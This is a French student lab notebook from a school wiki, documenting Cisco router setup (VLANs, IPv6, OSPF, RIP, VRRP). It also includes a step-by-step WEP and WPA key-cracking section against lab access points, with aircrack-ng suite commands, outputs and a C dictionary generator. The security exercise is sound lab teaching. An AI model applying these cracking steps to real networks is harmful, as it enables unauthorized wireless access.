Afin de tester si notre configuration locale est correcte, nous devons racker notre routeur, le connecter à un des 6006, puis connecter le 6006 à Cordouan (groupe BONDING). Ainsi, nous pourrons voir si nous pouvons ping notre routeur depuis notre VM.&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 3e semaine====&lt;br /&gt;
=====Test 1=====&lt;br /&gt;
Cette semaine, nous avons testés la configuration locale de notre routeur. Nous avons donc tentés de ping le routeur depuis notre VM. &amp;lt;br /&amp;gt;&lt;br /&gt;
Pour tester, nous avons besoin d'un port disponible sur CORDOUAN qui est dans le bridge IMA5sc.&amp;lt;br /&amp;gt;&lt;br /&gt;
Après des essais laborieux, nous décidons donc de regarder les adresses MAC des ports afin de les rassembler. Si 4 ports ont le même radical MAC, c'est qu'ils font partis d'un groupe de 4. Nous avons donc choisis '''eth4'''.&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, il fallait trouver le port physique correspondant a eth4. '''Grâce au fichier /etc/udev/rules.d/70-persistence-net.rules''', on peut voir l'association du port physique à l'interface. Voici l'extrait qui nous intéresse: &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;# PCI device 0x14e4:0x1657 (tg3)&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:40&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth4&amp;quot;&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:41&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth5&amp;quot;&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:42&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth6&amp;quot;&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:43&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth7&amp;quot;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
On voit bien que eth4 est dans un groupe de 4 ports, ce qui restreint nos choix. Ensuite, on sait que c'est le plus petit des 4 interfaces. Logiquement, ce sera le 1er du groupe.&amp;lt;br /&amp;gt;&lt;br /&gt;
On connecte donc ce port au commutateur sur un port qui appartient au VLAN des VM. On connecte ensuite notre routeur au commutateur via un port trunk.&amp;lt;br /&amp;gt;&lt;br /&gt;
'''Premier essai: FAIL'''&amp;lt;br /&amp;gt;&lt;br /&gt;
=====Test 2=====&lt;br /&gt;
Et là, c'est le drame ... On ne ping rien ...&amp;lt;br /&amp;gt;&lt;br /&gt;
On se demande donc d'où cela peut venir.&amp;lt;br /&amp;gt;&lt;br /&gt;
======Première cause possible : La configuration de CORDOUAN======&lt;br /&gt;
Peut-être que c'est CORDOUAN qui est mal configuré. On se place donc sur CORDOUAN, et grâce à la commande '''cdpr''' (Cisco Discovery Protocol Reporter), on peut demander au serveur de chercher ses voisins et d'avoir la configuration de la liaison avec ce voisin. Voici le résultat de cette commande:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;cdpr -d eth4&lt;br /&gt;
cdpr - Cisco Discovery Protocol Reporter&lt;br /&gt;
Version 2.4&lt;br /&gt;
Copyright (c) 2002-2010 - MonkeyMental.com&lt;br /&gt;
&lt;br /&gt;
Using Device: eth4&lt;br /&gt;
Warning opening device (eth4: no IPv4 address assigned)&lt;br /&gt;
Waiting for CDP advertisement:&lt;br /&gt;
(default config is to transmit CDP packets every 60 seconds)&lt;br /&gt;
Device ID&lt;br /&gt;
  value:  Switch_E306&lt;br /&gt;
Addresses&lt;br /&gt;
Port ID&lt;br /&gt;
  value:  GigabitEthernet4/13&amp;lt;/pre&amp;gt;&lt;br /&gt;
On voit bien que CORDOUAN détecte qu'il a une liaison avec le switch qui se trouve en E306 et qu'il est connecté via le port Gi4/13.&amp;lt;br /&amp;gt;&lt;br /&gt;
======Deuxième cause possible: Le commutateur======&lt;br /&gt;
Peut-être donc que c'est le commutateur qui est mal configuré. On se place donc sur le commutateur, et toujours grâce à la commande '''cdpr''', on peut demander au commutateur de trouver ses voisins. Le résultat de cette commande est la suivante: Le commutateur découvre bien notre routeur (cisco), et sait qu'il est connecté sur le port 4/47 (port trunk).&lt;br /&gt;
======Dernière cause possible:Le routeur======&lt;br /&gt;
On se dit donc que le problème vient du routeur...&amp;lt;br /&amp;gt;&lt;br /&gt;
On regarde donc la configuration du routeur, et Mr REDON nous demande pourquoi on n'a pas créé de VLAN. Les VLAN sont traduits par les service instance dans le nouvel IOS, mais peut-être que nous devons encore définir que les paquets venant/sortant de l'interface générale doivent être encapsulé/décapsulé en DOT1Q.&amp;lt;br /&amp;gt;&lt;br /&gt;
Après quelques recherches, une première solution a été de préciser sur l'interface des bridge-domain que les paquets étaient encapsulés en DOT1Q. Solution '''peu logique''' vu que l'encapsulation est déjà faite dans les service instance.&amp;lt;br /&amp;gt;&lt;br /&gt;
Après encore quelques recherches, une solution plausible est que '''le routeur ne sait pas qu'il faut dé-encapsuler les paquets venant d'un VLAN'''. Théoriquement, il n'enlèverait pas le tag associé à l'encapsulation DOT1Q.&amp;lt;br /&amp;gt;&lt;br /&gt;
Une commande cisco à associer à TOUTES les interfaces service instance permet de préciser qu'il faut supprimer le tag associé à l'encapsulation:&lt;br /&gt;
&amp;lt;pre&amp;gt;rewrite ingress tag pop 1 symmetric&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois cette commande appliquée à tous les services, nous pouvons effectuer un test préalable : '''Nous connectons un eeePC au commutateur via un port associé au VLAN des VM. L'eeePC serait muni d'une IP dans le réseau des VM.'''&amp;lt;br /&amp;gt;&lt;br /&gt;
Résultat '''OK'''&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous pouvons donc tenter de ping le routeur depuis la machine virtuelle :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;ping 193.48.57.171&lt;br /&gt;
PING 193.48.57.171 (193.48.57.171) 56(84) bytes of data.&lt;br /&gt;
64 bytes from 193.48.57.171: icmp_seq=1 ttl=255 time=0.360 ms&lt;br /&gt;
64 bytes from 193.48.57.171: icmp_seq=2 ttl=255 time=0.271 ms&lt;br /&gt;
^C&lt;br /&gt;
--- 193.48.57.171 ping statistics ---&lt;br /&gt;
2 packets transmitted, 2 received, 0% packet loss, time 999ms&lt;br /&gt;
rtt min/avg/max/mdev = 0.271/0.315/0.360/0.047 ms&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notre configuration locale est donc maintenant achevée. Nous pouvons passer à la configuration de l'interconnexion ipv4 et ipv6 de l'école.&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 4e semaine====&lt;br /&gt;
=====Configuration IPv6=====&lt;br /&gt;
Nous avons donc pu commencer la configuration IPv6 de notre routeur.&amp;lt;br /&amp;gt;&lt;br /&gt;
Chaque bridge-domain aura son adresse IP dans le réseau IPv6 de l'école, avec un préfixe débutant à 2001:660:4401:60b0::/64.&amp;lt;br /&amp;gt;&lt;br /&gt;
La configuration est la suivante, pour chaque BDI:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;cisco(config)#int BDI6                                                          &lt;br /&gt;
cisco(config-if)#ipv6 address 2001:660:4401:60b4::/64 eui-64                    &lt;br /&gt;
cisco(config-if)#ipv6 nd prefix 2001:660:4401:60b4::/64 1000 900                &lt;br /&gt;
cisco(config-if)#ipv6 nd router-preference high                                 &lt;br /&gt;
cisco(config-if)#ipv6 enable&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Configuration OSPF (IPv4)=====&lt;br /&gt;
Dès notre arrivée, Mr.REDON nous a dit que, pour booster le TP, il avait effectué lui-même la configuration OSPF de notre routeur. La voici:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;router ospf 1&lt;br /&gt;
 router-id 10.60.2.1&lt;br /&gt;
 summary-address 10.60.0.0 255.255.0.0&lt;br /&gt;
 summary-address 193.48.57.160 255.255.255.240&lt;br /&gt;
 redistribute connected metric 30 subnets&lt;br /&gt;
 network 192.168.222.0 0.0.0.7 area 1&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Configuration RIP (IPv6)=====&lt;br /&gt;
Le protocole RIPv6 est une stratégie de routage pour IPv6. Ce protocole est configuré pour le BDI130 (correspondant au VLAN130 d'interconnexion des routeurs de l'école). La configuration de RIP est la suivante:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;ipv6 router rip tpima5sc&lt;br /&gt;
 redistribute connected metric 1&lt;br /&gt;
 redistribute static metric 1&lt;br /&gt;
 redistribute rip 1 metric 1&amp;lt;/pre&amp;gt;&lt;br /&gt;
La prise en compte du protocole RIP dans la BDI130 est la suivante:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;interface BDI130&lt;br /&gt;
 ip address 192.168.222.1 255.255.255.248&lt;br /&gt;
 ipv6 address 2001:660:4401:60AA::/64 eui-64&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60AA::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference High&lt;br /&gt;
 ipv6 rip tpima5sc enable&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pour confirmer notre résultat, nous regardons la table de routage IPv6:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; cisco#sh ipv6 route&lt;br /&gt;
IPv6 Routing Table - default - 65 entries&lt;br /&gt;
Codes: C - Connected, L - Local, S - Static, U - Per-user Static route&lt;br /&gt;
       B - BGP, R - RIP, I1 - ISIS L1, I2 - ISIS L2&lt;br /&gt;
       IA - ISIS interarea, IS - ISIS summary, D - EIGRP, EX - EIGRP external&lt;br /&gt;
       ND - ND Default, NDp - ND Prefix, DCE - Destination, NDr - Redirect&lt;br /&gt;
       O - OSPF Intra, OI - OSPF Inter, OE1 - OSPF ext 1, OE2 - OSPF ext 2&lt;br /&gt;
       ON1 - OSPF NSSA ext 1, ON2 - OSPF NSSA ext 2, a - Application&lt;br /&gt;
R   ::/0 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:60::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6000::/56 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6002::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6003::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6004::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6005::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&lt;br /&gt;
R   2001:660:4401:6006::/64 [120/2]&lt;br /&gt;
     via FE80::211:5DFF:FEF2:5400, BDI130&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notre routeur détecte les routeurs de l'école, notre configuration est donc achevée.&amp;lt;br /&amp;gt;&lt;br /&gt;
=====Configuration VRRP=====&lt;br /&gt;
Le VRRP est un protocole de redondance. Une adresse IP virtuelle (IP flottante) est montée sur 1 des 2 routeurs. Si le routeur sur laquelle est montée l'IP flottante tombe, l'IP est montée sur l'autre routeur. De plus, les machines pourront envoyer les paquets vers l'adresse IP virtuelle, et le VRRP dispatchera les paquets entre les 2 routeurs.&amp;lt;br /&amp;gt;&lt;br /&gt;
Voici la configuration VRRP de notre routeur:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;interface BDI2&lt;br /&gt;
 ip address 10.60.2.1 255.255.255.0&lt;br /&gt;
 ipv6 address 2001:660:4401:60B0::/64 eui-64&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60B0::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference High&lt;br /&gt;
 vrrp 1 ip 10.60.2.3&lt;br /&gt;
 vrrp 1 priority 110&amp;lt;/pre&amp;gt;&lt;br /&gt;
10.60.X.1 est l'espace des adresses IP de notre routeur (4331), 10.60.X.2 est l'espace des adresses IP du routeur 3560E, donc 10.60.X.3 est l'espace des adresses IP flottantes, X représente le numéro du BDI.&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous pouvons voir si notre configuration VRRP est effective : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;cisco#sh vrrp&lt;br /&gt;
BDI12 - Group 1  &lt;br /&gt;
  State is Master&lt;br /&gt;
  Virtual IP address is 193.48.57.173&lt;br /&gt;
  Virtual MAC address is 0000.5e00.0101&lt;br /&gt;
  Advertisement interval is 1.000 sec&lt;br /&gt;
  Preemption enabled&lt;br /&gt;
  Priority is 110 &lt;br /&gt;
  Master Router is 193.48.57.171 (local), priority is 110 &lt;br /&gt;
  Master Advertisement interval is 1.000 sec&lt;br /&gt;
  Master Down interval is 3.570 sec&lt;br /&gt;
&lt;br /&gt;
BDI2 - Group 1  &lt;br /&gt;
  State is Master&lt;br /&gt;
  Virtual IP address is 10.60.2.3&lt;br /&gt;
  Virtual MAC address is 0000.5e00.0101&lt;br /&gt;
  Advertisement interval is 1.000 sec&lt;br /&gt;
  Preemption enabled&lt;br /&gt;
  Priority is 110 &lt;br /&gt;
  Master Router is 10.60.2.1 (local), priority is 110 &lt;br /&gt;
  Master Advertisement interval is 1.000 sec&lt;br /&gt;
  Master Down interval is 3.570 sec&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cependant, même si notre configuration VRRP est bonne, nous n'arrivons pas à ping 193.48.57.173, qui représente l'adresse IP virtuelle montée sur le bridge-domain des VM.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Craquage de clé WEP=====&lt;br /&gt;
On bascule d’abord la carte en mode monitor : &lt;br /&gt;
&amp;lt;pre&amp;gt; airmon-ng start xxxxxxxx  &amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite on scan tous les réseaux wifi captés par cette même carte :&lt;br /&gt;
&amp;lt;pre&amp;gt; airodump-ng –encrypt wep wlan 0 &amp;lt;/pre&amp;gt;&lt;br /&gt;
On obtient :&lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
 CH 13 ][ Elapsed: 4 s ][ 2016-03-08 10:32                                         &lt;br /&gt;
                                                                                                                  &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
                                                                                                                  &lt;br /&gt;
 44:AD:D9:5F:87:00  -44        2        0    0  11  54e. WEP  WEP         Wolverine                               &lt;br /&gt;
 04:DA:D2:9C:50:53  -66        2        0    0  13  54e. WEP  WEP         cracotte04                              &lt;br /&gt;
 04:DA:D2:9C:50:55  -70        2       91   35  13  54e. WEP  WEP         cracotte06                              &lt;br /&gt;
 04:DA:D2:9C:50:51  -69        4       33   13  13  54e. WEP  WEP         cracotte02                              &lt;br /&gt;
 04:DA:D2:9C:50:57  -67        3       44   19  13  54e. WEP  WEP         cracotte08                              &lt;br /&gt;
 04:DA:D2:9C:50:56  -69        2       38   11  13  54e. WEP  WEP         cracotte07                              &lt;br /&gt;
 04:DA:D2:9C:50:54  -68        2       37   14  13  54e. WEP  WEP         cracotte05                              &lt;br /&gt;
 04:DA:D2:9C:50:58  -70        2      175   70  13  54e. WEP  WEP         cracotte09                              &lt;br /&gt;
 04:DA:D2:9C:50:50  -68        0      142   52  13  -1   WEP  WEP         &amp;lt;length:  0&amp;gt;                            &lt;br /&gt;
 04:DA:D2:9C:50:52  -70        2      171   64  13  54e. WEP  WEP         cracotte03                              &lt;br /&gt;
                                                                                                                  &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                         &lt;br /&gt;
                                                                                                                   &lt;br /&gt;
 04:DA:D2:9C:50:55  00:0F:B5:92:23:6B  -66    0 - 9e  1160       50                                                &lt;br /&gt;
 04:DA:D2:9C:50:51  00:0F:B5:92:24:51  -62    0 -48e    34        7                                                &lt;br /&gt;
 04:DA:D2:9C:50:57  00:0F:B5:92:22:66  -64    0 - 6e    31        6                                                &lt;br /&gt;
 04:DA:D2:9C:50:56  00:0F:B5:92:23:71  -66    0 -48e    60        6                                                &lt;br /&gt;
 04:DA:D2:9C:50:54  00:0F:B5:92:23:74  -70    0 -24e    52       11                                                &lt;br /&gt;
 04:DA:D2:9C:50:58  00:0F:B5:92:23:69  -62    0 -48e    12      140  &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ici nous avons choisi cracotte06 comme wifi cible. On récupère donc son BSSID : 04 :DA :D2 :9C :50 :55 sur le channel 13&amp;lt;br /&amp;gt;&lt;br /&gt;
On surveille uniquement notre cible pour s'assurer qu'une machine s'y connecte bien :&lt;br /&gt;
&amp;lt;pre&amp;gt; airodump-ng –w out –c 13 –bssid 04 :DA :D2 :9C :50 :55 wlan0 &amp;lt;/pre&amp;gt; &amp;lt;br /&amp;gt;&lt;br /&gt;
Pour le craquage, il faut au préalable surchargé de requête ARP le réseau cible pour récupérer un maximum de trame d’échanges.&lt;br /&gt;
&amp;lt;pre&amp;gt; aireplay-ng -3 –e cracotte06 –a 04 :DA :D2 :9C :50 :55 –b 04 :DA :D2 :9C :50 :55 –h 00:0F:B5:92:23:6B –x 1000 –n out-ox.cap wlan0 &amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois un nombre de trame récupéré assez conséquent, on lance l’utilitaire : &amp;lt;pre&amp;gt;aircarck-ng out_ox.cap&amp;lt;/pre&amp;gt; avec out_ox.cap le fichier de sauvegarde contenant toutes les trames ARP récupérées. &lt;br /&gt;
&lt;br /&gt;
On a alors réussi notre craquage au bout de quelque minutes :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  Aircrack-ng 1.2 beta3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                 [00:00:01] Tested 785 keys (got 1349085 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/  2   EE(1862400) 75(1396736) DB(1392128) FF(1388544) 50(1387520) &lt;br /&gt;
    1    1/  4   DD(1419264) 1B(1397504) 2C(1392128) 54(1387776) 26(1385728) &lt;br /&gt;
    2   47/  2   DB(1365760) 38(1364736) 00(1364480) 22(1364480) 82(1364480) &lt;br /&gt;
    3    1/  2   26(1407488) 2C(1390592) 65(1387520) F0(1387520) FE(1387520) &lt;br /&gt;
    4    4/  4   F6(1383168) CD(1382656) 7E(1381376) F0(1380096) 58(1379840) &lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44 ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 5ème semaine ====&lt;br /&gt;
=====Craquage clé WPA =====&lt;br /&gt;
&lt;br /&gt;
Pour ce craquage, nous avons gardé la même cible, c'est à dire cracotte06. Il faut encore ici s'assurer qu'une machine est connecté à cette borne.&lt;br /&gt;
Pour le craquage WPA, il nous faut 2 éléments : &amp;lt;br /&amp;gt;&lt;br /&gt;
- Un fichier d'échange contenant le handshake &amp;lt;br /&amp;gt;&lt;br /&gt;
- Un dictionnaire contenant toutes les possibilités de valeur que peut avoir la clé.  &lt;br /&gt;
&lt;br /&gt;
Ici nous avons simplement récupéré le handshake grâce à la commande d'écoute de la borne :&lt;br /&gt;
&amp;lt;pre&amp;gt;  airodump-ng -w out --encrypt wpa -c 13 --04 :DA :D2 :9C :50 :55  wlan0 &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Grâce à l'option -w out, il nous a créée un fichier stockant le hanshake. &lt;br /&gt;
&lt;br /&gt;
En parallèle nous avons généré le fichier txt jouant le rôle de dictionnaire, à l'aide d'un programme C. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
int main(){&lt;br /&gt;
	FILE *fp=fopen(&amp;quot;dico.txt&amp;quot;,&amp;quot;w+&amp;quot;);&lt;br /&gt;
	int i =0;&lt;br /&gt;
	for(i=0;i&amp;lt;=99999999;i++){&lt;br /&gt;
		fprintf(fp,&amp;quot;%08d\n&amp;quot;,i);&lt;br /&gt;
	}&lt;br /&gt;
	return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Finalement on utilise l'utilitaire aircrack avec en paramètre le fichier de sauvegarde contenant le handshake ainsi que le fichier texte dictionnaire :&lt;br /&gt;
&amp;lt;pre&amp;gt;  aircrack-ng -w dico.txt dump-02.cap &amp;lt;/pre&amp;gt;&lt;br /&gt;
On obtient avec succès au bout de quelque minutes : &lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
Aircrack-ng 1.2 beta3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                   [01:01:47] 12399904 keys tested (3519.77 k/s)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 12399907 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : F5 4A 19 53 7C DB 88 D1 D0 21 3B FD FF 5F EF CD &lt;br /&gt;
                       D0 DE 05 F5 0F DB 08 79 85 16 17 8B E0 E4 6B 23 &lt;br /&gt;
&lt;br /&gt;
      Transient Key  : 25 94 12 1B 71 2C 49 01 10 44 34 8A 8A 74 36 47 &lt;br /&gt;
                       7B 1C D8 3D 77 A5 9B 9D 74 44 DC C7 5F 55 D7 0B &lt;br /&gt;
                       2B 29 83 CC FC 08 7E DF BF A6 B7 76 AF BA D5 8A &lt;br /&gt;
                       07 F0 61 B1 02 3A 56 B2 A2 03 CD 80 20 14 3E D8 &lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : CF 04 96 3D DC 43 B4 D1 0E D5 0F B5 78 2F 57 C9 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B05&amp;diff=35206</id>
		<title>Cahier 2016 groupe n°5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B05&amp;diff=35206"/>
				<updated>2016-11-17T10:03:35Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Cahier des charges */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Cahier des charges ==&lt;br /&gt;
=== Présentation du travail ===&lt;br /&gt;
&lt;br /&gt;
==== Répartition du travail ====&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (03/10)&lt;br /&gt;
 | Recherche sur le routeur 4331. Installation de la machine virtuelle, définition de l'architecture réseau. &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (10/10)&lt;br /&gt;
 | Création des VLAN - Bridge&lt;br /&gt;
 |- &lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (13/10)&lt;br /&gt;
 | Création des VLAN - Bridge&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (24/10)&lt;br /&gt;
 | Test de la configuration locale&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (07/11)&lt;br /&gt;
 | Configuration OSPF - Configuration locale IPv6 - Configuration RIP - Configuration VRRp - Cassage de clé WEP - Cassage de clé WPA&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (21/11)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 7 (28/11)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 8 (12/12)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 1ère semaine ====&lt;br /&gt;
&lt;br /&gt;
Pour cette première séance nous avons d'abord installé la machine virtuelle Xen grâce à la commande :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
xen-create-image --hostname=Flash --ip=193.48.57.165 --netmask=255.255.255.240 gateway=193.48.57.171 &lt;br /&gt;
--dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --passwd&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ainsi, nous obtenons ce résultat:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  Flash&lt;br /&gt;
Distribution    :  jessie&lt;br /&gt;
MAC Address     :  00:16:3E:49:8F:E5&lt;br /&gt;
IP Address(es)  :  193.48.57.165 &lt;br /&gt;
RSA Fingerprint :  5c:89:1c:49:cf:d1:a0:a3:9b:ff:0c:d1:f7:33:82:db&lt;br /&gt;
Root Password   :  N/A&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Travail réalisé la 2e semaine (2 séances) ====&lt;br /&gt;
Durant cette semaine, nous avons réalisés la configuration locale du routeur (configuration des VLANs). &amp;lt;br /&amp;gt;&lt;br /&gt;
Comme le 4331 est une nouvelle génération de routeur encore non utilisée en TP de PRA, nous devons apprendre comment l'utiliser.&amp;lt;br /&amp;gt;&lt;br /&gt;
=====Configuration générale=====&lt;br /&gt;
Communication: '''Série 9800 Bauds 8 bits sans parité sans contrôle de flux'''.&amp;lt;br /&amp;gt;&lt;br /&gt;
Lors de sa première mise en route, nous devons effectuer sa configuration générale :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; hostname cisco config hostname&lt;br /&gt;
 enable secret reverse &amp;lt;/pre&amp;gt;&lt;br /&gt;
Puis ensuite, nous pouvons passer à la configuration des VALNs.&lt;br /&gt;
=====Configuration des VLANs =====&lt;br /&gt;
Nous avons 12 VLANs à configurer :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; 11 VLANs (2-11) : VLAN correspondant aux différents groupes.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; 1 VLAN (12) : VLAN des Machines virtuelles. Permet la communication entre Cordouan et les Commutateurs&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; 1 VLAN (13) : VLAN d'interconnexion. Permet la communication entre le routeur local et le routeur de l'école&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
Sur l'interface physique du 4331, il y a 3 interfaces:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Gi 0/0/0 : disponible en cuivre et en fibre&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Gi 0/0/1: disponible en cuivre&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Gi 0/0/2: disponible en fibre&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons connecter notre routeur aux 2 commutateurs 6006 prévus dans l'architecture du TP. Pour cela, il faut que les 2 commutateurs aient les mêmes informations. Pour cela, nous devons créer des '''bridge-domain'''. Des bridge-domain permettent de rassembler 2 sous interfaces de 2 interfaces différentes pour qu'elles aient la même IP. L'interface principale n'aura pas d'adresse IP, les sous interfaces non plus, l'adresse IP sera placé sur le bridge-domain.&amp;lt;br /&amp;gt;&lt;br /&gt;
Exemple: '''VLAN2 : Gi 0/0/0.2 et Gi 0/0/1.2 seront dans le même bridge-domain 2'''&amp;lt;br /&amp;gt;&lt;br /&gt;
